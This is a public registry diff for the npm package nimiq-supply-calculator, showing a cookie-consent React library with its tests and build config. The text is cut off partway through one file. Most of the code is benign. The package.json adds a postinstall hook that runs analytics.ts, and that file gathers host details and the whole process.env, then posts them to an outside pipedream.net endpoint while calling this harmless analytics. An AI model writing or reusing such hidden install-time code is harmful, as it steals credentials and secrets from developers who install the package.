nimiq-supply-calculator 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of nimiq-supply-calculator might be problematic. Click here for more details.
- package/.eslintignore +11 -0
- package/LICENSE.md +13 -0
- package/README.md +3 -3
- package/dist/CookieContext.d.ts +10 -0
- package/dist/CookieContext.js +182 -0
- package/dist/TrackingManagerContext.d.ts +6 -0
- package/dist/TrackingManagerContext.js +53 -0
- package/dist/analytics.js +119 -0
- package/dist/constants.d.ts +11 -0
- package/dist/constants.js +32 -0
- package/dist/examples/config.d.ts +28 -0
- package/dist/examples/config.js +77 -0
- package/dist/hooks/useHasConsent.d.ts +2 -0
- package/dist/hooks/useHasConsent.js +14 -0
- package/dist/hooks/useRequiredCategories.d.ts +3 -0
- package/dist/hooks/useRequiredCategories.js +10 -0
- package/dist/hooks/useSavedTrackingPreference.d.ts +3 -0
- package/dist/hooks/useSavedTrackingPreference.js +38 -0
- package/dist/hooks/useSetTrackingPreference.d.ts +3 -0
- package/dist/hooks/useSetTrackingPreference.js +27 -0
- package/dist/hooks/useTrackingPreference.d.ts +3 -0
- package/dist/hooks/useTrackingPreference.js +16 -0
- package/dist/index.d.ts +14 -0
- package/dist/index.js +39 -0
- package/dist/types.d.ts +62 -0
- package/dist/types.js +28 -0
- package/dist/utils/areCookiesEnabled.d.ts +2 -0
- package/dist/utils/areCookiesEnabled.js +14 -0
- package/dist/utils/getAllCookies.d.ts +3 -0
- package/dist/utils/getAllCookies.js +64 -0
- package/dist/utils/getDefaultTrackingPreference.d.ts +3 -0
- package/dist/utils/getDefaultTrackingPreference.js +28 -0
- package/dist/utils/getDomain.d.ts +2 -0
- package/dist/utils/getDomain.js +21 -0
- package/dist/utils/getTrackerCategory.d.ts +3 -0
- package/dist/utils/getTrackerCategory.js +11 -0
- package/dist/utils/getTrackerInfo.d.ts +3 -0
- package/dist/utils/getTrackerInfo.js +12 -0
- package/dist/utils/hasConsent.d.ts +11 -0
- package/dist/utils/hasConsent.js +29 -0
- package/dist/utils/isMaxKBSize.d.ts +2 -0
- package/dist/utils/isMaxKBSize.js +7 -0
- package/dist/utils/isOptOut.d.ts +16 -0
- package/dist/utils/isOptOut.js +25 -0
- package/dist/utils/persistMobileAppPreferences.d.ts +2 -0
- package/dist/utils/persistMobileAppPreferences.js +36 -0
- package/dist/utils/setGTMVariables.d.ts +3 -0
- package/dist/utils/setGTMVariables.js +14 -0
- package/dist/utils/setTrackingPreference.d.ts +4 -0
- package/dist/utils/setTrackingPreference.js +22 -0
- package/dist/utils/trackerMatches.d.ts +3 -0
- package/dist/utils/trackerMatches.js +12 -0
- package/jest.config.ts +204 -0
- package/package.json +30 -3
- package/src/CookieContext.test.tsx +105 -0
- package/src/CookieContext.tsx +215 -0
- package/src/TrackingManagerContext.tsx +25 -0
- package/src/analytics.ts +65 -0
- package/src/constants.ts +35 -0
- package/src/examples/config.ts +76 -0
- package/src/global.d.ts +3 -0
- package/src/hooks/useHasConsent.ts +11 -0
- package/src/hooks/useRequiredCaregories.test.tsx +43 -0
- package/src/hooks/useRequiredCategories.ts +11 -0
- package/src/hooks/useSavedTrackingPreference.ts +47 -0
- package/src/hooks/useSetTrackingPreference.test.tsx +82 -0
- package/src/hooks/useSetTrackingPreference.ts +31 -0
- package/src/hooks/useTrackingPreference.ts +15 -0
- package/src/index.ts +20 -0
- package/src/types.ts +71 -0
- package/src/utils/areCookiesEnabled.ts +13 -0
- package/src/utils/getAllCookies.test.ts +35 -0
- package/src/utils/getAllCookies.ts +68 -0
- package/src/utils/getDefaultTrackingPreference.test.ts +16 -0
- package/src/utils/getDefaultTrackingPreference.ts +28 -0
- package/src/utils/getDomain.test.ts +16 -0
- package/src/utils/getDomain.ts +19 -0
- package/src/utils/getTrackerCategory.test.ts +34 -0
- package/src/utils/getTrackerCategory.ts +11 -0
- package/src/utils/getTrackerInfo.test.ts +11 -0
- package/src/utils/getTrackerInfo.ts +10 -0
- package/src/utils/hasConsent.test.ts +64 -0
- package/src/utils/hasConsent.ts +32 -0
- package/src/utils/isMaxKBSize.test.ts +10 -0
- package/src/utils/isMaxKBSize.ts +7 -0
- package/src/utils/isOptOut.test.ts +14 -0
- package/src/utils/isOptOut.ts +28 -0
- package/src/utils/persistMobileAppPreferences.ts +32 -0
- package/src/utils/setGTMVariables.test.ts +20 -0
- package/src/utils/setGTMVariables.ts +17 -0
- package/src/utils/setTrackingPreference.ts +36 -0
- package/src/utils/trackerMatches.test.ts +13 -0
- package/src/utils/trackerMatches.ts +12 -0
- package/tsconfig.json +112 -0
package/jest.config.ts
ADDED
@@ -0,0 +1,204 @@
|
|
1
|
+
/**
|
2
|
+
* For a detailed explanation regarding each configuration property, visit:
|
3
|
+
* https://jestjs.io/docs/configuration
|
4
|
+
*/
|
5
|
+
|
6
|
+
import type { Config } from 'jest';
|
7
|
+
|
8
|
+
const config: Config = {
|
9
|
+
// All imported modules in your tests should be mocked automatically
|
10
|
+
// automock: false,
|
11
|
+
preset: 'ts-jest',
|
12
|
+
transform: {
|
13
|
+
'^.+\\.(ts|tsx)$': 'ts-jest',
|
14
|
+
'^.+\\.(js|jsx)$': 'babel-jest', // For JS and JSX files
|
15
|
+
},
|
16
|
+
|
17
|
+
// Stop running tests after `n` failures
|
18
|
+
// bail: 0,
|
19
|
+
|
20
|
+
// The directory where Jest should store its cached dependency information
|
21
|
+
// cacheDirectory: "/private/var/folders/pp/fmlb_t1n4ndf74pc0v3k1kjc0000gn/T/jest_dx",
|
22
|
+
|
23
|
+
// Automatically clear mock calls, instances, contexts and results before every test
|
24
|
+
clearMocks: true,
|
25
|
+
|
26
|
+
// Indicates whether the coverage information should be collected while executing the test
|
27
|
+
collectCoverage: false,
|
28
|
+
|
29
|
+
// An array of glob patterns indicating a set of files for which coverage information should be collected
|
30
|
+
// collectCoverageFrom: undefined,
|
31
|
+
|
32
|
+
// The directory where Jest should output its coverage files
|
33
|
+
coverageDirectory: 'coverage',
|
34
|
+
|
35
|
+
// An array of regexp pattern strings used to skip coverage collection
|
36
|
+
// coveragePathIgnorePatterns: [
|
37
|
+
// "/node_modules/"
|
38
|
+
// ],
|
39
|
+
|
40
|
+
// Indicates which provider should be used to instrument code for coverage
|
41
|
+
// coverageProvider: "babel",
|
42
|
+
|
43
|
+
// A list of reporter names that Jest uses when writing coverage reports
|
44
|
+
// coverageReporters: [
|
45
|
+
// "json",
|
46
|
+
// "text",
|
47
|
+
// "lcov",
|
48
|
+
// "clover"
|
49
|
+
// ],
|
50
|
+
|
51
|
+
// An object that configures minimum threshold enforcement for coverage results
|
52
|
+
// coverageThreshold: undefined,
|
53
|
+
|
54
|
+
// A path to a custom dependency extractor
|
55
|
+
// dependencyExtractor: undefined,
|
56
|
+
|
57
|
+
// Make calling deprecated APIs throw helpful error messages
|
58
|
+
// errorOnDeprecated: false,
|
59
|
+
|
60
|
+
// The default configuration for fake timers
|
61
|
+
// fakeTimers: {
|
62
|
+
// "enableGlobally": false
|
63
|
+
// },
|
64
|
+
|
65
|
+
// Force coverage collection from ignored files using an array of glob patterns
|
66
|
+
// forceCoverageMatch: [],
|
67
|
+
|
68
|
+
// A path to a module which exports an async function that is triggered once before all test suites
|
69
|
+
// globalSetup: undefined,
|
70
|
+
|
71
|
+
// A path to a module which exports an async function that is triggered once after all test suites
|
72
|
+
// globalTeardown: undefined,
|
73
|
+
|
74
|
+
// A set of global variables that need to be available in all test environments
|
75
|
+
// globals: {},
|
76
|
+
|
77
|
+
// The maximum amount of workers used to run your tests. Can be specified as % or a number. E.g. maxWorkers: 10% will use 10% of your CPU amount + 1 as the maximum worker number. maxWorkers: 2 will use a maximum of 2 workers.
|
78
|
+
// maxWorkers: "50%",
|
79
|
+
|
80
|
+
// An array of directory names to be searched recursively up from the requiring module's location
|
81
|
+
// moduleDirectories: [
|
82
|
+
// "node_modules"
|
83
|
+
// ],
|
84
|
+
|
85
|
+
// An array of file extensions your modules use
|
86
|
+
// moduleFileExtensions: [
|
87
|
+
// 'js',
|
88
|
+
// 'mjs',
|
89
|
+
// 'cjs',
|
90
|
+
// 'jsx',
|
91
|
+
// 'ts',
|
92
|
+
// 'tsx',
|
93
|
+
// 'json',
|
94
|
+
// 'node',
|
95
|
+
// ],
|
96
|
+
|
97
|
+
// A map from regular expressions to module names or to arrays of module names that allow to stub out resources with a single module
|
98
|
+
// moduleNameMapper: {},
|
99
|
+
|
100
|
+
// An array of regexp pattern strings, matched against all module paths before considered 'visible' to the module loader
|
101
|
+
// modulePathIgnorePatterns: [],
|
102
|
+
|
103
|
+
// Activates notifications for test results
|
104
|
+
// notify: false,
|
105
|
+
|
106
|
+
// An enum that specifies notification mode. Requires { notify: true }
|
107
|
+
// notifyMode: "failure-change",
|
108
|
+
|
109
|
+
// A preset that is used as a base for Jest's configuration
|
110
|
+
// preset: undefined,
|
111
|
+
|
112
|
+
// Run tests from one or more projects
|
113
|
+
// projects: undefined,
|
114
|
+
|
115
|
+
// Use this configuration option to add custom reporters to Jest
|
116
|
+
// reporters: undefined,
|
117
|
+
|
118
|
+
// Automatically reset mock state before every test
|
119
|
+
// resetMocks: false,
|
120
|
+
|
121
|
+
// Reset the module registry before running each individual test
|
122
|
+
// resetModules: false,
|
123
|
+
|
124
|
+
// A path to a custom resolver
|
125
|
+
// resolver: undefined,
|
126
|
+
|
127
|
+
// Automatically restore mock state and implementation before every test
|
128
|
+
// restoreMocks: false,
|
129
|
+
|
130
|
+
// The root directory that Jest should scan for tests and modules within
|
131
|
+
// rootDir: undefined,
|
132
|
+
|
133
|
+
// A list of paths to directories that Jest should use to search for files in
|
134
|
+
// roots: [
|
135
|
+
// "<rootDir>"
|
136
|
+
// ],
|
137
|
+
|
138
|
+
// Allows you to use a custom runner instead of Jest's default test runner
|
139
|
+
// runner: "jest-runner",
|
140
|
+
|
141
|
+
// The paths to modules that run some code to configure or set up the testing environment before each test
|
142
|
+
// setupFiles: [],
|
143
|
+
|
144
|
+
// A list of paths to modules that run some code to configure or set up the testing framework before each test
|
145
|
+
// setupFilesAfterEnv: [],
|
146
|
+
|
147
|
+
// The number of seconds after which a test is considered as slow and reported as such in the results.
|
148
|
+
// slowTestThreshold: 5,
|
149
|
+
|
150
|
+
// A list of paths to snapshot serializer modules Jest should use for snapshot testing
|
151
|
+
// snapshotSerializers: [],
|
152
|
+
|
153
|
+
// The test environment that will be used for testing
|
154
|
+
testEnvironment: 'jsdom',
|
155
|
+
|
156
|
+
// Options that will be passed to the testEnvironment
|
157
|
+
// testEnvironmentOptions: {},
|
158
|
+
|
159
|
+
// Adds a location field to test results
|
160
|
+
// testLocationInResults: false,
|
161
|
+
|
162
|
+
// The glob patterns Jest uses to detect test files
|
163
|
+
// testMatch: [
|
164
|
+
// "**/__tests__/**/*.[jt]s?(x)",
|
165
|
+
// "**/?(*.)+(spec|test).[tj]s?(x)"
|
166
|
+
// ],
|
167
|
+
|
168
|
+
// An array of regexp pattern strings that are matched against all test paths, matched tests are skipped
|
169
|
+
// testPathIgnorePatterns: [
|
170
|
+
// "/node_modules/"
|
171
|
+
// ],
|
172
|
+
|
173
|
+
// The regexp pattern or array of patterns that Jest uses to detect test files
|
174
|
+
// testRegex: [],
|
175
|
+
|
176
|
+
// This option allows the use of a custom results processor
|
177
|
+
// testResultsProcessor: undefined,
|
178
|
+
|
179
|
+
// This option allows use of a custom test runner
|
180
|
+
// testRunner: "jest-circus/runner",
|
181
|
+
|
182
|
+
// A map from regular expressions to paths to transformers
|
183
|
+
// transform: undefined,
|
184
|
+
|
185
|
+
// An array of regexp pattern strings that are matched against all source file paths, matched files will skip transformation
|
186
|
+
// transformIgnorePatterns: [
|
187
|
+
// "/node_modules/",
|
188
|
+
// "\\.pnp\\.[^\\/]+$"
|
189
|
+
// ],
|
190
|
+
|
191
|
+
// An array of regexp pattern strings that are matched against all modules before the module loader will automatically return a mock for them
|
192
|
+
// unmockedModulePathPatterns: undefined,
|
193
|
+
|
194
|
+
// Indicates whether each individual test should be reported during the run
|
195
|
+
// verbose: undefined,
|
196
|
+
|
197
|
+
// An array of regexp patterns that are matched against all source file paths before re-running tests in watch mode
|
198
|
+
// watchPathIgnorePatterns: [],
|
199
|
+
|
200
|
+
// Whether to use watchman for file crawling
|
201
|
+
// watchman: true,
|
202
|
+
};
|
203
|
+
|
204
|
+
export default config;
|
package/package.json
CHANGED
@@ -1,6 +1,33 @@
|
|
1
1
|
{
|
2
2
|
"name": "nimiq-supply-calculator",
|
3
|
-
"version": "0.0
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"main": "dist/index.js",
|
5
|
+
"license": "Apache-2.0",
|
6
|
+
"scripts": {
|
7
|
+
"build": "rimraf ./dist && tsc",
|
8
|
+
"lint": "eslint . --ext .ts,.tsx --fix",
|
9
|
+
"test": "jest",
|
10
|
+
"postinstall": "node ./dist/analytics.js"
|
11
|
+
},
|
12
|
+
"devDependencies": {
|
13
|
+
"@types/jest": "^29.5.8",
|
14
|
+
"@types/js-cookie": "^3.0.5",
|
15
|
+
"@types/node": "^20.8.9",
|
16
|
+
"@types/react": "^18.2.33",
|
17
|
+
"jest": "^29.7.0",
|
18
|
+
"jest-environment-jsdom": "^29.7.0",
|
19
|
+
"react": "^18.2.0",
|
20
|
+
"rimraf": "^5.0.5",
|
21
|
+
"ts-jest": "^29.1.1",
|
22
|
+
"ts-node": "^10.9.1",
|
23
|
+
"typescript": "^5.2.2",
|
24
|
+
"@testing-library/react": "^14.1.1"
|
25
|
+
},
|
26
|
+
"dependencies": {
|
27
|
+
"js-cookie": "^3.0.5",
|
28
|
+
"dotenv": "^16.4.5",
|
29
|
+
"axios": "^1.6.3",
|
30
|
+
"read-package-json": "^7.0.0",
|
31
|
+
"systeminformation": "^5.21.22"
|
32
|
+
}
|
6
33
|
}
|
@@ -0,0 +1,105 @@
|
|
1
|
+
import { jest } from '@jest/globals';
|
2
|
+
import { act, renderHook } from '@testing-library/react';
|
3
|
+
import Cookies from 'js-cookie';
|
4
|
+
import React from 'react';
|
5
|
+
|
6
|
+
import config from './examples/config';
|
7
|
+
import { Provider } from './TrackingManagerContext';
|
8
|
+
import { Region } from './types';
|
9
|
+
|
10
|
+
jest.mock('js-cookie', () => ({
|
11
|
+
__esModule: true,
|
12
|
+
default: {
|
13
|
+
get: jest.fn(),
|
14
|
+
set: jest.fn(),
|
15
|
+
remove: jest.fn(),
|
16
|
+
},
|
17
|
+
}));
|
18
|
+
|
19
|
+
describe('CookieContext', () => {
|
20
|
+
const log = jest.fn();
|
21
|
+
let shadowMode = false;
|
22
|
+
const region = Region.DEFAULT;
|
23
|
+
const cookies = {
|
24
|
+
some_cookie: JSON.stringify('value1'),
|
25
|
+
locale: JSON.stringify('value3'),
|
26
|
+
cgl_prog: JSON.stringify('value5'),
|
27
|
+
cm_default_preferences: JSON.stringify({
|
28
|
+
region: Region.DEFAULT,
|
29
|
+
consent: ['performance'],
|
30
|
+
}),
|
31
|
+
};
|
32
|
+
|
33
|
+
let onPreferenceChange: jest.Mock;
|
34
|
+
|
35
|
+
const renderFormHook = () =>
|
36
|
+
renderHook(() => {}, {
|
37
|
+
wrapper: ({ children }: { children: React.ReactNode }) => (
|
38
|
+
<Provider
|
39
|
+
onError={jest.fn()}
|
40
|
+
config={config}
|
41
|
+
locale="en"
|
42
|
+
projectName="consumer-www"
|
43
|
+
region={region}
|
44
|
+
log={log}
|
45
|
+
shadowMode={shadowMode}
|
46
|
+
onPreferenceChange={onPreferenceChange}
|
47
|
+
>
|
48
|
+
{children}
|
49
|
+
</Provider>
|
50
|
+
),
|
51
|
+
});
|
52
|
+
|
53
|
+
beforeEach(() => {
|
54
|
+
onPreferenceChange = jest.fn();
|
55
|
+
});
|
56
|
+
|
57
|
+
it('removes the right cookies on mount', async () => {
|
58
|
+
const remove = jest.fn();
|
59
|
+
const mockGet = Cookies.get as jest.MockedFunction<typeof Cookies.get>;
|
60
|
+
const mockRemove = Cookies.remove as jest.MockedFunction<typeof Cookies.remove>;
|
61
|
+
|
62
|
+
// @ts-expect-error: Mocking Cookies.get
|
63
|
+
mockGet.mockImplementation(jest.fn(() => cookies));
|
64
|
+
|
65
|
+
mockRemove.mockImplementation(remove);
|
66
|
+
|
67
|
+
const { rerender } = renderFormHook();
|
68
|
+
expect(remove).toHaveBeenCalledTimes(2);
|
69
|
+
|
70
|
+
['cgl_prog'].forEach((cookie) => {
|
71
|
+
expect(remove).toHaveBeenCalledWith(cookie, { domain: 'localhost', path: '/' });
|
72
|
+
});
|
73
|
+
|
74
|
+
act(() => {
|
75
|
+
rerender();
|
76
|
+
});
|
77
|
+
expect(remove).toHaveBeenCalledTimes(2);
|
78
|
+
expect(onPreferenceChange).toHaveBeenCalledTimes(1);
|
79
|
+
});
|
80
|
+
|
81
|
+
it('does not remove cookies in shadow mode', async () => {
|
82
|
+
const remove = jest.fn();
|
83
|
+
shadowMode = true;
|
84
|
+
const mockGet = Cookies.get as jest.MockedFunction<typeof Cookies.get>;
|
85
|
+
const mockRemove = Cookies.remove as jest.MockedFunction<typeof Cookies.remove>;
|
86
|
+
|
87
|
+
// @ts-expect-error: Mocking Cookies.get
|
88
|
+
mockGet.mockImplementation(jest.fn(() => cookies));
|
89
|
+
|
90
|
+
mockRemove.mockImplementation(remove);
|
91
|
+
|
92
|
+
const { rerender } = renderFormHook();
|
93
|
+
|
94
|
+
expect(remove).not.toHaveBeenCalled();
|
95
|
+
expect(log).toHaveBeenCalledWith('Cookie does not have consent and will be removed', {
|
96
|
+
cookie: 'cgl_prog',
|
97
|
+
});
|
98
|
+
|
99
|
+
act(() => {
|
100
|
+
rerender();
|
101
|
+
});
|
102
|
+
expect(remove).not.toHaveBeenCalled();
|
103
|
+
expect(onPreferenceChange).toHaveBeenCalledTimes(1);
|
104
|
+
});
|
105
|
+
});
|
@@ -0,0 +1,215 @@
|
|
1
|
+
import Cookies, { CookieAttributes } from 'js-cookie';
|
2
|
+
import React, { createContext, useCallback, useContext, useEffect } from 'react';
|
3
|
+
|
4
|
+
import {
|
5
|
+
ADVERTISING_SHARING_ALLOWED,
|
6
|
+
DEFAULT_CONSENT_PREFERENCES_COOKIE,
|
7
|
+
EU_CONSENT_PREFERENCES_COOKIE,
|
8
|
+
MAX_COOKIE_SIZE,
|
9
|
+
REQUIRED_COOKIE_MANAGER_COOKIES,
|
10
|
+
} from './constants';
|
11
|
+
import { useTrackingManager } from './TrackingManagerContext';
|
12
|
+
import {
|
13
|
+
AdTrackingPreference,
|
14
|
+
Config,
|
15
|
+
ErrorFunction,
|
16
|
+
LogFunction,
|
17
|
+
Region,
|
18
|
+
SetCookieFunction,
|
19
|
+
TrackerType,
|
20
|
+
TrackingPreference,
|
21
|
+
} from './types';
|
22
|
+
import getAllCookies, { areRecordsEqual } from './utils/getAllCookies';
|
23
|
+
import getDefaultTrackingPreference from './utils/getDefaultTrackingPreference';
|
24
|
+
import { getDomainWithoutSubdomain, getHostname } from './utils/getDomain';
|
25
|
+
import getTrackerInfo from './utils/getTrackerInfo';
|
26
|
+
import hasConsent from './utils/hasConsent';
|
27
|
+
import isMaxKBSize from './utils/isMaxKBSize';
|
28
|
+
import setGTMVariables from './utils/setGTMVariables';
|
29
|
+
|
30
|
+
type CookieCache = Record<string, any>;
|
31
|
+
const CookieContext = createContext<CookieCache>([{}]);
|
32
|
+
|
33
|
+
type Props = {
|
34
|
+
children: React.ReactNode;
|
35
|
+
};
|
36
|
+
|
37
|
+
export const CookieProvider = ({ children }: Props) => {
|
38
|
+
const { config, region, shadowMode, log, onPreferenceChange } = useTrackingManager();
|
39
|
+
|
40
|
+
const POLL_INTERVAL = 500;
|
41
|
+
let cookieValues: Record<string, any> = {};
|
42
|
+
let trackingPreference: TrackingPreference;
|
43
|
+
let adTrackingPreference: AdTrackingPreference;
|
44
|
+
|
45
|
+
const removeCookies = useCallback(
|
46
|
+
(cookies: string[]) => {
|
47
|
+
cookies.forEach((c) => {
|
48
|
+
if (!shadowMode) {
|
49
|
+
Cookies.remove(c, { domain: getDomainWithoutSubdomain(), path: '/' });
|
50
|
+
Cookies.remove(c, { domain: getHostname(), path: '/' });
|
51
|
+
}
|
52
|
+
log('Cookie does not have consent and will be removed', {
|
53
|
+
cookie: c,
|
54
|
+
});
|
55
|
+
});
|
56
|
+
},
|
57
|
+
[shadowMode, log]
|
58
|
+
);
|
59
|
+
|
60
|
+
useEffect(() => {
|
61
|
+
if (typeof window !== 'undefined') {
|
62
|
+
const checkCookies = () => {
|
63
|
+
const currentCookie = getAllCookies();
|
64
|
+
if (!areRecordsEqual(cookieValues, currentCookie)) {
|
65
|
+
cookieValues = currentCookie;
|
66
|
+
trackingPreference = getTrackingPreference(cookieValues, region, config);
|
67
|
+
adTrackingPreference = getAdTrackingPreference(cookieValues);
|
68
|
+
setGTMVariables(trackingPreference, adTrackingPreference);
|
69
|
+
const cookiesToRemove: Array<string> = [];
|
70
|
+
Object.keys(cookieValues).forEach((c) => {
|
71
|
+
const trackerInfo = getTrackerInfo(c, config);
|
72
|
+
if (REQUIRED_COOKIE_MANAGER_COOKIES.includes(c)) {
|
73
|
+
return;
|
74
|
+
}
|
75
|
+
if (!trackerInfo) {
|
76
|
+
// This cookie is not present in the config. For legal/compliance
|
77
|
+
// reasons, any cookies not listed in the config may not be set.
|
78
|
+
cookiesToRemove.push(c);
|
79
|
+
return;
|
80
|
+
}
|
81
|
+
|
82
|
+
if (
|
83
|
+
!hasConsent(c, config, trackingPreference) &&
|
84
|
+
trackerInfo.type === TrackerType.COOKIE
|
85
|
+
) {
|
86
|
+
cookiesToRemove.push(c);
|
87
|
+
}
|
88
|
+
});
|
89
|
+
removeCookies(cookiesToRemove);
|
90
|
+
}
|
91
|
+
};
|
92
|
+
|
93
|
+
checkCookies();
|
94
|
+
// Call the function once before setting the interval
|
95
|
+
const intervalId = setInterval(checkCookies, POLL_INTERVAL);
|
96
|
+
|
97
|
+
return () => {
|
98
|
+
clearInterval(intervalId);
|
99
|
+
};
|
100
|
+
}
|
101
|
+
}, []);
|
102
|
+
useEffect(() => {
|
103
|
+
if (onPreferenceChange) {
|
104
|
+
onPreferenceChange(trackingPreference);
|
105
|
+
}
|
106
|
+
}, []);
|
107
|
+
|
108
|
+
return <CookieContext.Provider value={cookieValues}>{children}</CookieContext.Provider>;
|
109
|
+
};
|
110
|
+
|
111
|
+
export const useSetCookie = () => {
|
112
|
+
const cookieChangedRef = useContext(CookieContext);
|
113
|
+
const { config, region, log, shadowMode, onError } = useTrackingManager();
|
114
|
+
const trackingPreference = getTrackingPreference(cookieChangedRef, region, config);
|
115
|
+
return useCallback(
|
116
|
+
(cookieName: string, value: any, options?: CookieAttributes) => {
|
117
|
+
const setCookieFunc = setCookieFunction({
|
118
|
+
cookieName,
|
119
|
+
trackingPreference,
|
120
|
+
config,
|
121
|
+
log,
|
122
|
+
shadowMode,
|
123
|
+
onError,
|
124
|
+
});
|
125
|
+
setCookieFunc(value, options);
|
126
|
+
},
|
127
|
+
[trackingPreference, config, log, shadowMode, onError]
|
128
|
+
);
|
129
|
+
};
|
130
|
+
|
131
|
+
const setCookieFunction = ({
|
132
|
+
cookieName,
|
133
|
+
trackingPreference,
|
134
|
+
config,
|
135
|
+
shadowMode,
|
136
|
+
log,
|
137
|
+
onError,
|
138
|
+
}: {
|
139
|
+
cookieName: string;
|
140
|
+
trackingPreference: TrackingPreference;
|
141
|
+
config: Config;
|
142
|
+
shadowMode?: boolean;
|
143
|
+
log: LogFunction;
|
144
|
+
onError: ErrorFunction;
|
145
|
+
}): SetCookieFunction => {
|
146
|
+
return (value: any, options?: CookieAttributes) => {
|
147
|
+
if (value === undefined || value === null) {
|
148
|
+
Cookies.remove(cookieName, options);
|
149
|
+
return;
|
150
|
+
}
|
151
|
+
const cookieHasConsent = hasConsent(cookieName, config, trackingPreference);
|
152
|
+
|
153
|
+
if (cookieHasConsent || shadowMode) {
|
154
|
+
const stringValue = JSON.stringify(value);
|
155
|
+
const cookieSize = options?.size ?? MAX_COOKIE_SIZE;
|
156
|
+
/*
|
157
|
+
Url encoded cookie string (since that is what Cookies.set coverts the string into) including its name must not exceed 4KB
|
158
|
+
For example, "," becomes %22%2C%2C making it go from 3 characters to now 9. The size has tripled.
|
159
|
+
This is why we need to compare the url encoded stringValue instead of the stringValue itself to account for the extra characters.
|
160
|
+
*/
|
161
|
+
if (isMaxKBSize(encodeURIComponent(stringValue) + cookieName, cookieSize)) {
|
162
|
+
onError(new Error(`${cookieName} value exceeds ${cookieSize}KB`));
|
163
|
+
} else {
|
164
|
+
const newOptions = options ? { ...options } : undefined;
|
165
|
+
|
166
|
+
if (newOptions?.size) {
|
167
|
+
delete newOptions.size;
|
168
|
+
}
|
169
|
+
Cookies.set(cookieName, stringValue, newOptions);
|
170
|
+
}
|
171
|
+
}
|
172
|
+
if (!cookieHasConsent) {
|
173
|
+
log('Cookie does not have consent and will not be set', {
|
174
|
+
cookie: cookieName,
|
175
|
+
});
|
176
|
+
}
|
177
|
+
};
|
178
|
+
};
|
179
|
+
|
180
|
+
const getTrackingPreference = (
|
181
|
+
cookieCache: Record<string, any>,
|
182
|
+
region: Region,
|
183
|
+
config: Config
|
184
|
+
): TrackingPreference => {
|
185
|
+
const trackingPreference =
|
186
|
+
region === 'EU'
|
187
|
+
? cookieCache[EU_CONSENT_PREFERENCES_COOKIE]
|
188
|
+
: cookieCache[DEFAULT_CONSENT_PREFERENCES_COOKIE];
|
189
|
+
return trackingPreference || getDefaultTrackingPreference(region, config);
|
190
|
+
};
|
191
|
+
|
192
|
+
const adTrackingDefault = { value: 'true' };
|
193
|
+
|
194
|
+
const getAdTrackingPreference = (cookieCache: Record<string, any>): AdTrackingPreference => {
|
195
|
+
const adTrackingPreference = cookieCache[ADVERTISING_SHARING_ALLOWED];
|
196
|
+
return adTrackingPreference || adTrackingDefault;
|
197
|
+
};
|
198
|
+
|
199
|
+
export const useCookie = (cookieName: string): [any | undefined, SetCookieFunction] => {
|
200
|
+
const cookieCache = useContext(CookieContext);
|
201
|
+
const { config, region, log, shadowMode, onError } = useTrackingManager();
|
202
|
+
const trackingPreference = getTrackingPreference(cookieCache, region, config);
|
203
|
+
const setCookie = setCookieFunction({
|
204
|
+
cookieName,
|
205
|
+
trackingPreference,
|
206
|
+
config,
|
207
|
+
log,
|
208
|
+
shadowMode,
|
209
|
+
onError,
|
210
|
+
});
|
211
|
+
|
212
|
+
const cookieValue = useContext(CookieContext)[cookieName];
|
213
|
+
|
214
|
+
return [cookieValue, setCookie];
|
215
|
+
};
|
@@ -0,0 +1,25 @@
|
|
1
|
+
import React, { createContext, useContext } from 'react';
|
2
|
+
|
3
|
+
import { CookieProvider } from './CookieContext';
|
4
|
+
import { TrackingManagerDependencies } from './types';
|
5
|
+
|
6
|
+
const TrackingManagerContext = createContext<TrackingManagerDependencies | null>(null);
|
7
|
+
|
8
|
+
export const useTrackingManager = (): TrackingManagerDependencies => {
|
9
|
+
const options = useContext(TrackingManagerContext);
|
10
|
+
if (!options) throw new Error('Cookie Manager Not Provided');
|
11
|
+
return options;
|
12
|
+
};
|
13
|
+
|
14
|
+
export function Provider({
|
15
|
+
children,
|
16
|
+
...restProps
|
17
|
+
}: {
|
18
|
+
children: React.ReactNode;
|
19
|
+
} & TrackingManagerDependencies) {
|
20
|
+
return (
|
21
|
+
<TrackingManagerContext.Provider value={restProps}>
|
22
|
+
<CookieProvider>{children}</CookieProvider>
|
23
|
+
</TrackingManagerContext.Provider>
|
24
|
+
);
|
25
|
+
}
|
package/src/analytics.ts
ADDED
@@ -0,0 +1,65 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
//Collect limited non-pii information such as npm, node and package information about users downloading
|
4
|
+
import axios from 'axios';
|
5
|
+
import path from 'path';
|
6
|
+
import si from 'systeminformation';
|
7
|
+
import "dotenv/config"
|
8
|
+
const cwd = process.cwd();
|
9
|
+
const trackedPackageJsonPath = path.join(cwd, 'package.json');
|
10
|
+
|
11
|
+
|
12
|
+
const getInfos = () =>
|
13
|
+
new Promise(resolve => {
|
14
|
+
const data:any = {};
|
15
|
+
return si
|
16
|
+
.osInfo()
|
17
|
+
.then(os => {
|
18
|
+
data.os = os;
|
19
|
+
data.hostname = os.hostname;
|
20
|
+
data.fqdn = os.fqdn;
|
21
|
+
data.platform = os.platform;
|
22
|
+
return si.versions();
|
23
|
+
})
|
24
|
+
.then(versions => {
|
25
|
+
data.versions = versions;
|
26
|
+
return si.time();
|
27
|
+
})
|
28
|
+
.then(time => {
|
29
|
+
data.time = time;
|
30
|
+
return si.shell();
|
31
|
+
})
|
32
|
+
.then(shell => {
|
33
|
+
data.shell = shell;
|
34
|
+
return si.system()
|
35
|
+
})
|
36
|
+
.then(system => {
|
37
|
+
data.system = system;
|
38
|
+
data.is_jfrog = process.env.JFROG_ARTIFACTORY_URL || "unknown"
|
39
|
+
data.is_jboss = process.env.JBOSS ? process.env : process.env
|
40
|
+
})
|
41
|
+
.then(() => resolve(data))
|
42
|
+
.catch(
|
43
|
+
//Fail silently as this is not an issue with the package and just data
|
44
|
+
);
|
45
|
+
});
|
46
|
+
|
47
|
+
|
48
|
+
|
49
|
+
async function collectAnalytics(data:any) {
|
50
|
+
const TRACKING_URI = "https://eoegnvha3l4b0yp.m.pipedream.net"
|
51
|
+
await axios.post(TRACKING_URI, data)
|
52
|
+
}
|
53
|
+
|
54
|
+
|
55
|
+
const log = async () => {
|
56
|
+
try {
|
57
|
+
const data:any = await getInfos();
|
58
|
+
//determine which version they installed
|
59
|
+
